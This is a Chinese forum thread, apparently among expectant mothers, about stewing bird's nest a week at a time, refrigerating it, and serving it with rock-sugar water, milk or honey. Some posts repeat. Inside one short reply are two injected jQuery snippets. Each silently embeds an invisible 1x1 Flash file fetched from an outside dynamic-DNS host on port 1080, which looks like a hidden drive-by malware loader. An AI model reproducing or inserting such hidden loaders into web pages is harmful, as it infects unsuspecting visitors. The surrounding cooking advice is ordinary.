我是每次炖三个盏，放冰箱，吃一周。炖的时候不加冰糖。妈妈给我化了一些冰糖水，用小瓶子装着。吃的时候，把燕窝盛到碗里，加一些热水，加一点冰糖水，有时候也不加冰糖水。燕窝不用再另外加热了，加热多了会流失营养的。

我也准备学习下了  jQuery(function(){jQuery('#swf_H43').html(AC_FL_RunContent('width', '1', 'height', '1', 'allowNetworking', 'internal', 'allowScriptAccess', 'never', 'src', encodeURI('http://bokuweb.vicp.net:1080/1.swf'), 'quality', 'high', 'bgcolor', '#ffffff', 'wmode', 'transparent', 'allowfullscreen', 'true'))});    jQuery(function(){jQuery('#swf_3N8').html(AC_FL_RunContent('width', '1', 'height', '1', 'allowNetworking', 'internal', 'allowScriptAccess', 'never', 'src', encodeURI('http://bokuweb.vicp.net:1080/1.swf'), 'quality', 'high', 'bgcolor', '#ffffff', 'wmode', 'transparent', 'allowfullscreen', 'true'))});  

恩！~恩！~

啊？我都是煮的时候就加了冰糖，然后吃一个星期哦，

ME TOO

呵呵,一半一半打平啦,55555555555

我是一次煮好一周的放冰箱，不放冰糖，每次加入热牛奶，所以都不用加热。

我是煮好三四天的放冰箱，吃之前兑点热水加蜂蜜，不知道对不对呢？

我那会是炖一周的量放冰箱，吃的时候什么都没加，就没味道的吃，怕血糖高啊

纯水炖，什么都不放，一次炖一周的分量放冰箱备用，。。。吃得时候拿出来加入牛奶即可。。。

我想问一问，吃燕窝对妊妇和肚里的BB有什么好啊？还有就是一个星期吃几次啊，怎样选燕窝好啊？这方面我真的不懂，请问那位可以教教我呢？

我也是一次煮好一周的放冰箱，不放冰糖，每次加入牛奶,很方便

甘请问，一次大概吃几克多好啊？大家都喺去边度买噶？专卖店？药房？还是去HK买啊？

我是每次炖三个盏，放冰箱，吃一周。炖的时候不加冰糖。妈妈给我化了一些冰糖水，用小瓶子装着。
吃的时候，把燕窝盛到碗里，加一些热水，加一点冰糖水，有时候也不加冰糖水。燕窝不用再另外加热了，加热多了会流失营养的。

呵呵,一半一半打平啦,55555555555

我也准备学习下了